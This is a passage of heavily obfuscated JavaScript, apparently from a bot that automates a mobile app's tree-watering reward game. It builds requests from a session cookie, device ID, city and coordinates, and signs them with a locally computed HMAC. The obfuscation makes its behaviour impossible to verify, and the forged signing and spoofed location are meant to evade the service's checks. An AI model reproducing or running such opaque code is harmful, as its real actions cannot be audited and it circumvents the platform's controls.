2,0x113c,0x11f5,0xc12)]('\u3010',nickname),'\u3011'),_0x48b8c3[_0xac0410(0x165b,'\x4a\x61\x70\x57',0x1060,0x7fc,0x185e)](_0x48b8c3[_0xac0410(0x3c1,'\x24\x6e\x5d\x79',0x7ab,0x1043,0xbf6)](_0x48b8c3[_0x16a196('\x65\x54\x72\x35',0xc04,0xff9,0xad9,0x9b8)](_0x48b8c3[_0x550737(0x3d6,0x1a7,0x97f,'\x4a\x61\x70\x57',0x807)](_0x48b8c3[_0x1cb3c5(0x70a,'\x6e\x70\x4f\x48',0xcd5,0xb2f,0x35e)](_0x48b8c3[_0x16a196('\x5d\x78\x21\x39',0xf6e,0x1781,0xffd,0x1128)](_0x48b8c3[_0x1cb3c5(0xdf5,'\x34\x62\x40\x70',0x796,0x16b0,0x994)](_0x48b8c3[_0x5d432b(0x38e,'\x45\x33\x6b\x40',0xcb6,0x7b5,0x48)](_0x48b8c3[_0x16a196('\x45\x33\x6b\x40',0xbc8,0x8c6,0x512,0x5f1)](_0x48b8c3[_0x1cb3c5(0xd28,'\x34\x62\x40\x70',0xbfe,0xc4d,0x11af)](_0x48b8c3[_0x16a196('\x4f\x4f\x25\x29',0x163b,0x14dd,0x113f,0x156d)](_0x48b8c3[_0x5d432b(0x112b,'\x75\x5d\x54\x4f',0x12f3,0x810,0x1507)](_0x3bfdf1[_0x550737(0xbf4,0xf5b,0x1162,'\x52\x59\x64\x49',0xd01)+'\x74'][_0x16a196('\x45\x33\x6b\x40',-0x2c4,0xc7c,0x526,0xd0c)+_0x16a196('\x35\x37\x26\x25',0xb91,0xe8f,0x7f7,0x1d5)+_0x5d432b(0xd71,'\x5a\x30\x31\x38',0xab4,0xde9,0x631)+_0x16a196('\x4e\x54\x74\x26',0x1580,0x1598,0x114e,0xed5)][_0x5d432b(0x70b,'\x6b\x59\x6b\x44',0xa17,0x898,0x34f)+_0xac0410(0x976,'\x29\x52\x4b\x66',0x1256,0x1023,0x17ce)],_0x48b8c3[_0xac0410(0x1247,'\x24\x6e\x5d\x79',0xe5c,0xbea,0xffc)]),waterNum),_0x48b8c3[_0xac0410(0xb95,'\x4a\x61\x70\x57',0xe6a,0x55b,0x1631)]),waterTimes),_0x48b8c3[_0xac0410(0x10fd,'\x53\x34\x6c\x29',0xf0a,0x119c,0x708)]),_0x3bfdf1[_0x550737(0x374,0x60c,0x110d,'\x6e\x70\x4f\x48',0x7b2)+'\x74'][_0x16a196('\x32\x49\x5b\x49',0x17e,0xab1,0x69c,0x5ba)+_0x1cb3c5(0x3c1,'\x34\x62\x40\x70',-0x2db,-0x330,0x64d)+_0x550737(0xb9,0x5ab,0xc16,'\x75\x5d\x54\x4f',0x622)+_0x16a196('\x36\x70\x67\x64',0xa97,0x2c8,0x3e3,0xbfc)][_0x16a196('\x76\x78\x62\x62',-0x386,0x14e,0x479,0xbb)+_0xac0410(0xcd4,'\x50\x21\x6c\x48',0xa8c,0xaff,0x5cb)+_0xac0410(0x157,'\x5a\x30\x31\x38',0x626,0xe50,0x5f)+_0x5d432b(0xfc1,'\x57\x38\x4f\x70',0x9f3,0x8fc,0x1211)]),_0x57f1ec),_0x3bfdf1[_0x16a196('\x52\x7a\x58\x2a',0xed3,0x85b,0x740,0xaab)+'\x74'][_0x5d432b(0x571,'\x57\x73\x5d\x21',0x6a3,0xa39,0xd28)+_0x1cb3c5(0x119d,'\x24\x63\x6f\x37',0xf4a,0xec6,0x89a)+_0x550737(0x11c0,0xc6a,0xdef,'\x47\x28\x51\x45',0x8f0)+_0x5d432b(0x275,'\x32\x49\x5b\x49',0x6b3,-0x56c,-0x66b)][_0x16a196('\x33\x2a\x64\x68',0x1c2e,0x13cb,0x132d,0x16ac)+_0x5d432b(0x10e7,'\x52\x7a\x58\x2a',0x141b,0x156b,0x1755)]),_0x48b8c3[_0x16a196('\x45\x33\x6b\x40',0x74e,0x26b,0x2b7,-0x2e4)]),_0x3bfdf1[_0x1cb3c5(0xf20,'\x32\x49\x5b\x49',0x1372,0x1462,0xcce)+'\x74'][_0x5d432b(0xd98,'\x45\x33\x6b\x40',0x73a,0xdec,0x7c9)+_0x1cb3c5(0x282,'\x4e\x54\x74\x26',0x572,0x8f,0x429)+'\x73\x65'][_0x5d432b(0xff5,'\x53\x78\x42\x55',0x84a,0x1343,0x1506)+_0x5d432b(0x1127,'\x24\x63\x6f\x37',0x1314,0xeb0,0x118d)+'\x63\x65']),'\u6ef4\u6c34'),hzstr)),$[_0xac0410(-0x306,'\x36\x6c\x21\x41',0x236,0x5d,0x21d)][_0x550737(-0x584,-0x347,0x2b3,'\x53\x34\x6c\x29',0x33d)+'\x65']&&_0x48b8c3[_0x5d432b(0x1207,'\x6b\x5e\x4e\x4d',0xe6c,0x1426,0x1998)](_0x48b8c3[_0x550737(0x100a,0x93f,0x837,'\x78\x45\x43\x4d',0xa59)](_0x48b8c3[_0x550737(0x125b,0x1930,0x174c,'\x41\x43\x59\x76',0x12ae)]('',isNotify),''),_0x48b8c3[_0x5d432b(0x73c,'\x77\x40\x43\x59',0x55a,0x6a0,0xbcc)])&&(msgStr+=_0x48b8c3[_0x550737(0xca6,0x125f,0x553,'\x36\x6c\x21\x41',0xa34)](_0x48b8c3[_0xac0410(0xad6,'\x6d\x57\x5a\x29',0x6b0,0x3e9,-0xaa)](_0x48b8c3[_0x16a196('\x50\x21\x6c\x48',-0x1c4,0xa82,0x4ea,0x2d6)](_0x48b8c3[_0x5d432b(0x640,'\x35\x37\x26\x25',-0x143,0xa37,-0x54)](_0x48b8c3[_0x1cb3c5(0x4f1,'\x42\x23\x5e\x5b',0xc9c,-0x285,0x818)](_0x48b8c3[_0x16a196('\x6d\x57\x5a\x29',0xaef,0xa17,0xb47,0xaa5)](_0x48b8c3[_0x1cb3c5(0x9ec,'\x41\x43\x59\x76',0x11a8,0x657,0x8e9)](_0x48b8c3[_0x550737(0x10e5,0x10d9,0x10ba,'\x6b\x59\x6b\x44',0xe8b)](_0x48b8c3[_0x5d432b(0x103c,'\x77\x40\x43\x59',0x1203,0x807,0xbd0)](_0x48b8c3[_0x16a196('\x33\x2a\x64\x68',-0x13,-0xb,0x3bf,-0x494)](_0x48b8c3[_0x550737(0xc15,0x15cb,0x607,'\x63\x66\x74\x31',0xdda)](_0x48b8c3[_0xac0410(0xa64,'\x57\x38\x4f\x70',0x1335,0x15fb,0x18db)](_0x48b8c3[_0xac0410(0xe0b,'\x4f\x40\x44\x71',0xc16,0x959,0x657)](_0x48b8c3[_0x1cb3c5(-0x1e,'\x57\x38\x4f\x70',-0x32f,-0x590,0x6a1)](_0x48b8c3[_0xac0410(0x1780,'\x62\x77\x6a\x54',0x116f,0x8aa,0x108e)](_0x48b8c3[_0x1cb3c5(0xc42,'\x6b\x5e\x4e\x4d',0xb88,0x1555,0x1360)],nickname),_0x48b8c3[_0x16a196('\x45\x33\x6b\x40',-0x374,-0x253,0x234,-0x206)]),_0x3bfdf1[_0x5d432b(0x4dc,'\x35\x37\x26\x25',0xc0b,0x56a,0x134)+'\x74'][_0x16a196('\x42\x23\x5e\x5b',0x199,0xa4f,0xa21,0x1262)+_0x550737(0x14a2,0x18e9,0x7a4,'\x4e\x54\x74\x26',0x10d2)+_0xac0410(0x44e,'\x76\x78\x62\x62',0xd32,0x1492,0x131c)+_0x5d432b(0x154,'\x65\x54\x72\x35',0x861,-0x601,0x7e2)][_0x550737(0x29e,0x5b2,0x312,'\x46\x6f\x5e\x6c',0x85e)+_0x5d432b(0x7cd,'\x47\x28\x51\x45',0x612,0x155,0x79f)]),_0x48b8c3[_0x5d432b(0x273,'\x36\x57\x6b\x69',0x64,0x893,0xa8)]),waterNum),_0x48b8c3[_0x1cb3c5(0x110b,'\x52\x7a\x58\x2a',0x10f2,0x1420,0x1335)]),waterTimes),_0x48b8c3[_0x16a196('\x52\x59\x64\x49',-0xe8,0x8ce,0x18e,0x3f9)]),_0x3bfdf1[_0x16a196('\x66\x66\x76\x75',0xa10,0xc54,0x525,0x664)+'\x74'][_0x5d432b(0x495,'\x29\x52\x4b\x66',-0x23e,0xb5d,0xd7a)+_0x1cb3c5(0x494,'\x75\x5d\x54\x4f',0x444,-0x2d8,0x3b6)+_0x16a196('\x33\x2a\x64\x68',-0x1f4,-0x19c,0x359,0x59e)+_0x5d432b(0x437,'\x35\x37\x26\x25',0xa58,0xc03,0x55e)][_0x1cb3c5(0x1cb,'\x6b\x5e\x4e\x4d',0x2fa,-0xe5,0x92)+_0x5d432b(0x65a,'\x29\x52\x4b\x66',0x65a,0x5a1,0x1e1)+_0x1cb3c5(0x943,'\x47\x38\x4e\x52',0x148,0xdab,0xb72)+_0x1cb3c5(0x8e4,'\x45\x24\x6c\x69',0x1148,0xa94,0x1092)]),_0x57f1ec),_0x3bfdf1[_0xac0410(0xcac,'\x78\x56\x67\x4f',0x68d,0xb3f,0x17c)+'\x74'][_0x1cb3c5(0x73c,'\x78\x45\x43\x4d',0xaee,0x83f,0x846)+_0x1cb3c5(0xda9,'\x62\x77\x6a\x54',0x8d3,0x1095,0x1032)+_0x16a196('\x46\x6f\x5e\x6c',0x1104,0x1850,0x11c2,0x19f2)+_0x5d432b(0x826,'\x52\x7a\x58\x2a',0x85d,0x116d,0xbdb)][_0x16a196('\x5a\x30\x31\x38',0x1134,0xd2a,0xc9f,0x14d9)+_0x1cb3c5(0x18,'\x36\x70\x67\x64',0x4ab,0x23,-0x50f)]),_0x48b8c3[_0x550737(0xb66,0x7a8,0x5ae,'\x75\x5d\x54\x4f',0xd99)]),_0x3bfdf1[_0xac0410(0x29f,'\x41\x43\x59\x76',0x8f9,0x962,0xf32)+'\x74'][_0x550737(0x547,0xac,0xa80,'\x53\x41\x31\x35',0x545)+_0x16a196('\x4e\x54\x74\x26',0x7aa,-0x2ab,0x41a,-0x37b)+'\x73\x65'][_0x550737(0x7ed,0xb04,0x15f1,'\x36\x57\x6b\x69',0xf63)+_0x1cb3c5(0xa7e,'\x53\x34\x6c\x29',0x13a2,0x831,0x187)+'\x63\x65']),'\u6ef4\u6c34'),hzstr));}}}_0x48b8c3[_0x5d432b(0x169,'\x62\x77\x6a\x54',0x7ef,0x527,-0x20e)](_0x168d59);});}catch(_0x3524fb){console[_0x58266a(0x1015,0xaf0,0xd29,0xb15,'\x53\x78\x42\x55')](_0x2d09ea[_0x2d4c74(0x93e,0x2c7,'\x52\x59\x64\x49',0xd7a,0xc88)](_0x2d09ea[_0x58266a(0x967,0x151b,0xcc9,0xf4c,'\x53\x34\x6c\x29')],_0x3524fb)),_0x2d09ea[_0x1d6cdb(0x1176,0x143e,'\x65\x54\x72\x35',0xf4f,0x1991)](_0x168d59);}finally{treeInfoTimes=!![];}});}function urlTask(_0x51acf7,_0x2b6f19){function _0x10a00a(_0x57958b,_0x50eb45,_0x473025,_0x1cb84c,_0x11671d){return _0xdd0bc1(_0x1cb84c-0x579,_0x50eb45-0x1f0,_0x57958b,_0x1cb84c-0x30,_0x11671d-0x113);}const _0x38ceaa={'\x6d\x65\x64\x70\x4f':function(_0x55d8c7,_0x3a6b32){return _0x55d8c7(_0x3a6b32);},'\x51\x75\x41\x46\x68':function(_0x13adc9,_0x38801f){return _0x13adc9>_0x38801f;},'\x47\x70\x75\x77\x66':function(_0x7ff532,_0x5d3b0c){return _0x7ff532!=_0x5d3b0c;},'\x4a\x45\x44\x58\x4a':_0xdb73c7(0x53e,0xbb3,'\x24\x63\x6f\x37',-0x33a,0xc10)+_0xdb73c7(0xf2b,0x156b,'\x76\x25\x48\x64',0xfb3,0x13de),'\x74\x64\x75\x65\x46':_0x2bb085(-0x8b,0x49b,-0x36,'\x6e\x70\x4f\x48',0x652)+_0x10a00a('\x78\x56\x67\x4f',0x668,0x3da,0x893,0xc53),'\x64\x53\x4f\x4e\x63':_0x2bb085(0x10f9,0xb57,0x16f9,'\x52\x7a\x58\x2a',0xfc0)+_0x19e97b(0x11aa,0xc49,0xb31,'\x53\x41\x31\x35',0x1080)+_0x2bb085(0x18e9,0xc7e,0xf4c,'\x4f\x40\x44\x71',0x1280)+_0xdb73c7(0x23a,0x170,'\x34\x62\x40\x70',0x3ce,0x5e1)+_0xdb73c7(0xa0f,0x12b2,'\x35\x37\x26\x25',0xc39,0x33c)+_0xdb73c7(0xe39,0x755,'\x76\x25\x48\x64',0x13cd,0x646)+'\x30\x30','\x66\x49\x4d\x58\x6a':function(_0x2aa289,_0x27cac1,_0x48dd9a){return _0x2aa289(_0x27cac1,_0x48dd9a);},'\x74\x65\x48\x4c\x56':_0x19e97b(0xb1f,0x2c3,0x32e,'\x36\x70\x67\x64',0x2e9)+_0xdb73c7(0xd3f,0x9b7,'\x76\x25\x48\x64',0xca9,0x52b)+_0x10a00a('\x45\x33\x6b\x40',0x291,0x744,0x65b,0x98)+_0x2bb085(0x1971,0x11c1,0xf1f,'\x53\x34\x6c\x29',0x129e)+_0x19e97b(0x49,0x137,0x5a4,'\x52\x7a\x58\x2a',-0x3aa)+_0xdb73c7(0xe71,0x10d6,'\x52\x59\x64\x49',0xb15,0x516)+_0x1c74e3(0xfae,0x12e9,0x116d,0x18ca,'\x62\x77\x6a\x54'),'\x51\x74\x4e\x46\x70':_0x10a00a('\x57\x73\x5d\x21',0xf61,0x677,0x8b6,0x502)+_0x19e97b(0x4ad,0x181,-0x35e,'\x47\x28\x51\x45',-0x4d7),'\x61\x6e\x52\x74\x4e':_0x1c74e3(0x7d3,0x532,0xe8f,0xf1f,'\x33\x2a\x64\x68'),'\x77\x4d\x44\x52\x6e':function(_0x1d9019,_0x77b518){return _0x1d9019+_0x77b518;},'\x50\x61\x56\x4e\x71':function(_0x14367e,_0x44c963){return _0x14367e+_0x44c963;},'\x67\x4c\x46\x46\x72':function(_0x4551dd,_0x6e6b79){return _0x4551dd+_0x6e6b79;},'\x6c\x6f\x5a\x5a\x74':function(_0x25f2bf,_0x178c95){return _0x25f2bf+_0x178c95;},'\x49\x55\x75\x6e\x54':_0xdb73c7(0x1a7,0x778,'\x5d\x5d\x4d\x42',0xf,-0x431)+_0xdb73c7(0x8bb,0x10e6,'\x77\x40\x43\x59',0x78f,0x206)+_0x2bb085(0x8d0,0x1a3,0x86d,'\x42\x23\x5e\x5b',0x197)+_0xdb73c7(0x941,0xa49,'\x53\x34\x6c\x29',0x2f6,0x8c4)+_0xdb73c7(0x129,-0x3f4,'\x5d\x78\x21\x39',0x3fd,0x130)+_0x2bb085(0x85f,0xeb4,0x103e,'\x47\x38\x4e\x52',0xa59)+_0x10a00a('\x57\x38\x4f\x70',0x3c9,0xd5d,0x9e4,0xaa6)+_0xdb73c7(-0xb0,0x502,'\x31\x5e\x34\x5a',0x528,0xea)+_0x1c74e3(0xf80,0x76b,0x107d,0x644,'\x63\x66\x74\x31')+_0x1c74e3(0xa3d,0xd77,0x1338,0xfc,'\x6e\x70\x4f\x48')+_0x2bb085(0x599,0x418,0xe40,'\x5a\x30\x31\x38',0xaf0)+_0x10a00a('\x46\x6f\x5e\x6c',0xf6b,0x1c67,0x1555,0x1a34)+_0xdb73c7(0x81b,0x41e,'\x65\x54\x72\x35',0x16,0x115)+_0xdb73c7(0x10ff,0x142e,'\x31\x5e\x34\x5a',0xd79,0x1678)+_0x1c74e3(0x707,0x2c0,0x1ed,0xa62,'\x6d\x5e\x6e\x43')+_0xdb73c7(0x298,-0x1b6,'\x53\x28\x21\x51',-0x209,0x1cf)+_0x19e97b(0x413,0x90,0x146,'\x5d\x78\x21\x39',0x234)+_0x1c74e3(0xbfe,0x121c,0x927,0xdfe,'\x4e\x54\x74\x26')+_0x10a00a('\x31\x5e\x34\x5a',0xc34,0x147e,0xf0d,0x17b9)+_0x1c74e3(0x191,-0x270,0x8f2,0x303,'\x45\x33\x6b\x40')+_0x1c74e3(0x969,0xbe8,0x830,0x902,'\x5a\x30\x31\x38')+_0x2bb085(0x480,0x913,0x3d5,'\x75\x5d\x54\x4f',0x57a)+_0x1c74e3(0xed5,0x13f0,0x10f1,0x14cc,'\x46\x6f\x5e\x6c')+_0x1c74e3(0x120f,0x1b07,0x1acd,0xead,'\x24\x6e\x5d\x79')+_0xdb73c7(0xa03,0x12b9,'\x6b\x59\x6b\x44',0x790,0x467)+_0x1c74e3(0xf99,0xfad,0xb56,0xe59,'\x52\x59\x64\x49')+_0x10a00a('\x5d\x5d\x4d\x42',0x1e94,0x17f2,0x15e6,0x1b37)+_0x1c74e3(0x962,0x1154,0xe8a,0xb20,'\x6d\x57\x5a\x29')+_0x2bb085(0x7da,0xb62,0x14d1,'\x42\x23\x5e\x5b',0xba4)+_0xdb73c7(0xbf1,0x556,'\x42\x23\x5e\x5b',0x9b0,0x150a)+_0x2bb085(0x564,0x1b5,0x47f,'\x47\x28\x51\x45',0xc6),'\x65\x6f\x79\x53\x6f':_0x10a00a('\x6d\x5e\x6e\x43',0xdbc,0x12dc,0x9bf,0x10a3)+_0x19e97b(0x523,0x606,0x622,'\x77\x40\x43\x59',0x8e3)+_0x1c74e3(0xd95,0xf80,0x12a8,0x153f,'\x75\x5d\x54\x4f')+_0x1c74e3(0x10a1,0xb30,0x870,0x7fd,'\x6e\x70\x4f\x48')+_0x1c74e3(0x4d3,0x3b,-0xe5,-0x287,'\x6b\x5e\x4e\x4d'),'\x64\x6d\x59\x46\x6a':_0x19e97b(0xc4b,0x1044,0xdd4,'\x47\x28\x51\x45',0x11d1)+_0x19e97b(0x594,0x9e3,0x83e,'\x4a\x61\x70\x57',0x1184)+_0xdb73c7(0x45b,-0x265,'\x42\x23\x5e\x5b',0x98a,0x2d6)+_0x19e97b(0xd8f,0x11bd,0xf86,'\x50\x21\x6c\x48',0xf18)+_0x19e97b(0xa2d,0x2eb,-0x561,'\x6d\x5e\x6e\x43',-0xe5)+_0xdb73c7(0x1c5,-0x680,'\x34\x62\x40\x70',0xc6,0x229)+_0x2bb085(0x6d2,0x481,0xfbc,'\x57\x73\x5d\x21',0x992)+_0x1c74e3(0x880,0xe10,0x9c4,0x373,'\x52\x59\x64\x49'),'\x74\x56\x62\x4c\x6b':_0x10a00a('\x31\x5e\x34\x5a',0xadd,0xa79,0xf72,0x1640)+_0x2bb085(0x586,-0x20c,0x57f,'\x6b\x5e\x4e\x4d',0x3ae)+_0x10a00a('\x32\x49\x5b\x49',0xf8e,0x1296,0xde9,0x5b4),'\x62\x78\x48\x43\x53':_0x1c74e3(0x129a,0x148b,0xfef,0x1021,'\x76\x78\x62\x62')+_0x10a00a('\x78\x56\x67\x4f',0x7a6,0x10c6,0xc0a,0xc6f)+_0x19e97b(-0x1ad,0x568,0x5f0,'\x4f\x4f\x25\x29',0x2bc)+_0x1c74e3(0x264,0x2dd,0xb90,0x77b,'\x73\x48\x6e\x6e')+_0x19e97b(0x133e,0xfbb,0x8f1,'\x75\x5d\x54\x4f',0x14d9)+_0x1c74e3(0x323,0xa84,0x1df,-0x2b6,'\x53\x78\x42\x55')+_0x1c74e3(0x570,0x2d5,0x898,0xbd6,'\x6b\x5e\x4e\x4d')+_0x2bb085(0xeeb,0xdc5,-0xd7,'\x78\x56\x67\x4f',0x5c2)+_0x10a00a('\x6d\x5e\x6e\x43',0x126e,0x114e,0x9e7,0xb4f)+_0x10a00a('\x45\x33\x6b\x40',0xd7b,0xe71,0x1008,0x1412)+_0x1c74e3(0x121e,0x12a4,0x1396,0x1a7e,'\x53\x34\x6c\x29')+_0x19e97b(-0x6e2,0x154,0x5d9,'\x66\x66\x76\x75',0x992)+_0x1c74e3(0x1384,0xeec,0xb32,0xd60,'\x36\x70\x67\x64')+_0x1c74e3(0xe4c,0x7b7,0xe43,0x72b,'\x36\x57\x6b\x69')+_0x1c74e3(0x11ab,0xe8c,0x19ff,0x867,'\x47\x28\x51\x45')+_0x19e97b(0x1424,0xd8a,0xdb5,'\x46\x6f\x5e\x6c',0x1135)+_0x19e97b(0x986,0x780,0x105f,'\x5d\x5d\x4d\x42',0xa3b)+_0x10a00a('\x4f\x40\x44\x71',0x1030,0x1685,0x1327,0x19f4)+_0x10a00a('\x24\x6e\x5d\x79',0xbba,0x619,0xf0b,0xf21),'\x68\x59\x6b\x6a\x5a':_0x1c74e3(0xed6,0x1346,0xb24,0xc8c,'\x47\x38\x4e\x52'),'\x52\x44\x71\x4e\x43':function(_0x3feffd,_0x509991){return _0x3feffd+_0x509991;},'\x6a\x51\x79\x56\x68':function(_0x1d0a56,_0x135e86){return _0x1d0a56+_0x135e86;},'\x74\x5a\x65\x5a\x55':_0x2bb085(0xce1,0x908,0x11f7,'\x57\x73\x5d\x21',0x112b)+_0x2bb085(0xcfb,-0x155,0x5e2,'\x5d\x78\x21\x39',0x58a)+'\x3d'};function _0x2bb085(_0x4740b1,_0x4111dd,_0x51dab4,_0x1a5a85,_0x2f2daa){return _0x353885(_0x1a5a85,_0x4111dd-0x89,_0x51dab4-0xcc,_0x1a5a85-0x18d,_0x2f2daa- -0x378);}let _0x251c3e=_0x38ceaa[_0x10a00a('\x6d\x57\x5a\x29',0x188c,0x1367,0x1829,0x1657)](decodeURIComponent,_0x2b6f19)[_0x10a00a('\x36\x6c\x21\x41',0x1061,0x3e4,0x7b6,0xc71)]('\x26'),_0x2663ab='';if(_0x2b6f19&&_0x38ceaa[_0x19e97b(0x7c0,0x2ce,0xc2,'\x63\x66\x74\x31',-0x663)](_0x251c3e[_0x2bb085(0x12c5,0xaf5,0xc9e,'\x4f\x4f\x25\x29',0xb00)+'\x68'],-0x2*0x1bc+0x17f+0x1f9*0x1)){let _0x47c42e={},_0x49488f=[],_0x53856d=[];for(const _0x42b1f5 of _0x251c3e){let _0x171461=_0x42b1f5[_0x19e97b(0xee7,0x11ad,0xa61,'\x36\x57\x6b\x69',0xa15)]('\x3d');!!_0x171461[0xe5+-0xeb7+0xdd3]&&_0x38ceaa[_0x1c74e3(0x12b0,0x18f5,0x16a7,0x1742,'\x78\x45\x43\x4d')](_0x171461[0x24eb+-0xd3*-0x1a+-0x3a59],_0x38ceaa[_0xdb73c7(0x140,0x448,'\x29\x52\x4b\x66',-0x197,-0x74d)])&&_0x38ceaa[_0x10a00a('\x78\x45\x43\x4d',0x137f,0x1b99,0x1785,0xec0)](_0x171461[-0x21f0+-0x8d4+0x2ac4],_0x38ceaa[_0x2bb085(0x66e,0x817,0x115a,'\x6b\x5e\x4e\x4d',0xca5)])&&(_0x47c42e[_0x171461[-0x11*-0x8f+-0x1ced+-0x9b7*-0x2]]=_0x171461[0x3*0x719+-0xe3b*0x1+0xd*-0x8b],_0x49488f[_0x19e97b(0xd10,0xb41,0xc77,'\x5a\x30\x31\x38',0x2ef)](_0x171461[-0x1335+-0x1*0x178f+0x2ac4]));}_0x49488f=_0x49488f[_0x19e97b(0xf9f,0x65b,0x3de,'\x50\x21\x6c\x48',0x703)](),_0x49488f[_0x10a00a('\x29\x52\x4b\x66',0x1661,0x741,0xfc4,0x114c)+'\x63\x68'](_0x32b2db=>{function _0x29741c(_0x415407,_0x27db38,_0x101002,_0x4ccac6,_0x417619){return _0x1c74e3(_0x415407- -0x2cf,_0x27db38-0x1a4,_0x101002-0x147,_0x4ccac6-0x169,_0x27db38);}_0x53856d[_0x29741c(0x816,'\x6e\x70\x4f\x48',0x541,0x113f,0xaf8)](_0x47c42e[_0x32b2db]);});const _0x2836d3=_0x38ceaa[_0xdb73c7(0xc7b,0xed5,'\x76\x25\x48\x64',0xc3e,0x1294)];_0x2663ab=_0x38ceaa[_0x10a00a('\x5d\x78\x21\x39',0xe43,0x19ac,0x16d3,0x1b67)](hex_hmac_sha256,_0x2836d3,_0x53856d[_0x19e97b(0x1060,0xf70,0xe54,'\x50\x21\x6c\x48',0x783)]('\x26'));}let _0x5eeeeb={'\x75\x72\x6c':_0x51acf7,'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':_0x38ceaa[_0xdb73c7(0x22d,-0x456,'\x33\x2a\x64\x68',0x630,-0x291)],'\x43\x6f\x6f\x6b\x69\x65':thiscookie,'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x38ceaa[_0xdb73c7(0xa71,0x12a0,'\x35\x37\x26\x25',0x1045,0x1383)],'\x41\x63\x63\x65\x70\x74':_0x38ceaa[_0xdb73c7(0x68d,0x551,'\x53\x78\x42\x55',-0x1ff,-0x51)],'\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74':_0x38ceaa[_0x19e97b(0xb2a,0x11c6,0x887,'\x42\x23\x5e\x5b',0x100d)](_0x38ceaa[_0xdb73c7(0x607,0x4d4,'\x62\x77\x6a\x54',0xa9e,0x2c9)](_0x38ceaa[_0x2bb085(0xa45,0x1457,0x77a,'\x53\x41\x31\x35',0xc95)](_0x38ceaa[_0x10a00a('\x47\x38\x4e\x52',0x409,0xbd1,0x840,0x9a4)](_0x38ceaa[_0xdb73c7(0xe65,0x13e0,'\x6d\x57\x5a\x29',0x12b2,0x179d)](_0x38ceaa[_0x19e97b(0x2f9,0x8a8,0xfdd,'\x6e\x70\x4f\x48',0x731)](_0x38ceaa[_0x2bb085(0x1409,0xfbb,0x17d8,'\x47\x38\x4e\x52',0xf2c)](_0x38ceaa[_0x19e97b(0x74b,0x3ef,0x4b,'\x35\x37\x26\x25',-0x2ff)](_0x38ceaa[_0x19e97b(0xcf2,0xeb8,0x584,'\x76\x25\x48\x64',0x1369)],deviceid),_0x38ceaa[_0xdb73c7(0xdf7,0xb18,'\x31\x5e\x34\x5a',0x1195,0xca1)]),cityid),_0x38ceaa[_0x1c74e3(0x1154,0xbb8,0x149e,0xf95,'\x32\x49\x5b\x49')]),lat),_0x38ceaa[_0xdb73c7(0xa1f,0x11f5,'\x63\x66\x74\x31',0xdcf,0x8a7)]),lng),_0x38ceaa[_0x10a00a('\x36\x70\x67\x64',0x229,0xc02,0x9db,0x115)]),'\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65':_0x38ceaa[_0x2bb085(0x15e2,0xb7f,0x173c,'\x53\x28\x21\x51',0xde8)]},'\x62\x6f\x64\x79':_0x38ceaa[_0x10a00a('\x6e\x70\x4f\x48',0x108,0x65b,0x5b8,-0x226)](_0x38ceaa[_0xdb73c7(0x192,-0x1bb,'\x6e\x70\x4f\x48',0x2cf,0x786)](_0x2b6f19,_0x38ceaa[_0xdb73c7(0xfac,0x1358,'\x31\x5e\x34\x5a',0x136a,0x182c)]),_0x2663ab)};function _0xdb73c7(_0x521409,_0x116442,_0x2ffece,_0x2ea8b3,_0x5f227b){return _0x43f741(_0x521409- -0x302,_0x116442-0x110,_0x2ffece,_0x2ea8b3-0x18d,_0x5f227b-0x1ce);}function _0x1c74e3(_0x3a8354,_0xb2a082,_0xcfe80e,_0x8bf50c,_0x27f8d5){return _0x43f741(_0x3a8354- -0xea,_0xb2a082-0x62,_0x27f8d5,_0x8bf50c-0x32,_0x27f8d5-0xfd);}function _0x19e97b(_0x4bf9e9,_0x3e7216,_0x63177c,_0x59e42d,_0x28a932){return _0x333f48(_0x59e42d,_0x3e7216-0x1c7,_0x3e7216- -0x61f,_0x59e42d-0x13a,_0x28a932-0xe7);}return _0x5eeeeb;}async function taskLoginUrl(_0x2afe38){function _0x3a8efc(_0x3d2dab,_0x13ee61,_0x89c5df,_0x8c59dd,_0x578a0d){return _0x43f741(_0x8c59dd- -0x237,_0x13ee61-0x12d,_0x89c5df,_0x8c59dd-0x125,_0x578a0d-0x173);}const _0x2c197e={'\x47\x52\x63\x69\x4f':function(_0x4dabd2,_0x2c4466){return _0x4dabd2==_0x2c4466;},'\x55\x6e\x7a\x51\x66':function(_0x492d31,_0x2af6a8){return _0x492d31>_0x2af6a8;},'\x55\x48\x57\x63\x48':_0x47b6a2(0x1afd,'\x4e\x54\x74\x26',0x1276,0x121e,0x1085)+'\x65','\x55\x45\x52\x65\x78':function(_0xa517ff,_0x4e257f){return _0xa517ff+_0x4e257f;},'\x6f\x6a\x70\x5a\x76':_0x47b6a2(0x80f,'\x65\x54\x72\x35',0xc80,0x5fb,-0x13e)+_0x3b65f3(0x669,'\x52\x7a\x58\x2a',0xf67,0x1863,0xf4e)+_0x47b6a2(0xaa9,'\x5d\x5d\x4d\x42',0xdb1,0x12af,0x103b)+'\x64\x3d','\x53\x57\x4e\x6b\x4b':function(_0x4b76c2,_0x3e86b8){return _0x4b76c2>_0x3e86b8;},'\x70\x69\x74\x58\x6d':_0x3302b9('\x6b\x5e\x4e\x4d',0x1082,0x1e0c,0x17d4,0x1e0f)+_0x3b65f3(0x61,'\x36\x6c\x21\x41',-0x27d,0xeb4,0x65c)+_0x3b65f3(0x111d,'\x4f\x4f\x25\x29',0x12d9,0x92e,0x1202),'\x68\x55\x54\x70\x74':function(_0x24836a,_0x108fc6){return _0x24836a(_0x108fc6);},'\x4c\x6f\x67\x73\x68':function(_0x46b7b4){return _0x46b7b4();},'\x42\x59\x6b\x64\x4a':function(_0x4c4b9e,_0x635551){return _0x4c4b9e+_0x635551;},'\x4f\x6a\x57\x65\x55':function(_0x320183,_0x4b4cd1){return _0x320183+_0x4b4cd1;},'\x4f\x4d\x6b\x4f\x49':function(_0x10d42b,_0x2bfb0c){return _0x10d42b+_0x2bfb0c;},'\x44\x79\x4c\x75\x71':function(_0x56c226,_0x26e174){return 